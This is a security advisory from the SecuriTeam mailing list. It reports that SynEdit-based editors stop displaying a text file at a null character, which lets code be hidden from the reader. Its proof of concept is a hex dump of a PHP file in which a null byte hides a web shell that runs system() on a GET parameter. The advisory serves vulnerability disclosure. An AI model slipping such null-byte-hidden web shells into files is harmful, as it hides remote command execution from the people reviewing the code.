[NEWS] SynEdit Null Code Obfuscation

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

SynEdit Null Code Obfuscation
------------------------------------------------------------------------

SUMMARY

<http://sourceforge.net/projects/synedit/> SynEdit is a syntax
highlighting edit control, not based on the Windows common controls For
Borland Delphi, Kylix and FreePascal.

An attacker can craft special text file that will hide it's information
from any program that uses SynEdit component as main editor, and will
allow hidden text to be compile as well.

DETAILS

SynEdit does not filter chars properly, which cause a null terminated char
to stop the reading of SynEdit string that was loaded from a text file.

Attackers can exploit this vulnerability by placing a null char inside a
text file and malicious code, and when a user will open the text file
using a synedit based program, the text itself (from the null terminated
char position and forward) will not be displayed to the user.

Proof of Concept:
3c 3f 70 68 70 20 65 63 68 6f 20 27 68 65 6c 6c < ? p h p e c h o ' h
e l l
6f 21 27 3b 00 20 73 79 73 74 65 6d 28 24 48 54 o ! ' ; s y s t e m (
$ H T
54 50 5f 47 45 54 5f 56 41 52 53 5b 63 6f 6d 6d T P _ G E T _ V A R S [
c o m m
61 6e 64 5d 29 3b 20 3f 3e a n d ] )
; ? >

ADDITIONAL INFORMATION

The information has been provided by <mailto:retrogod@aliceposta.it>
retrogod.
The original article can be found at:
<http://rgod.altervista.org/devcpp.html>
http://rgod.altervista.org/devcpp.html,
<http://rgod.altervista.org/syn.html> http://rgod.altervista.org/syn.html

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.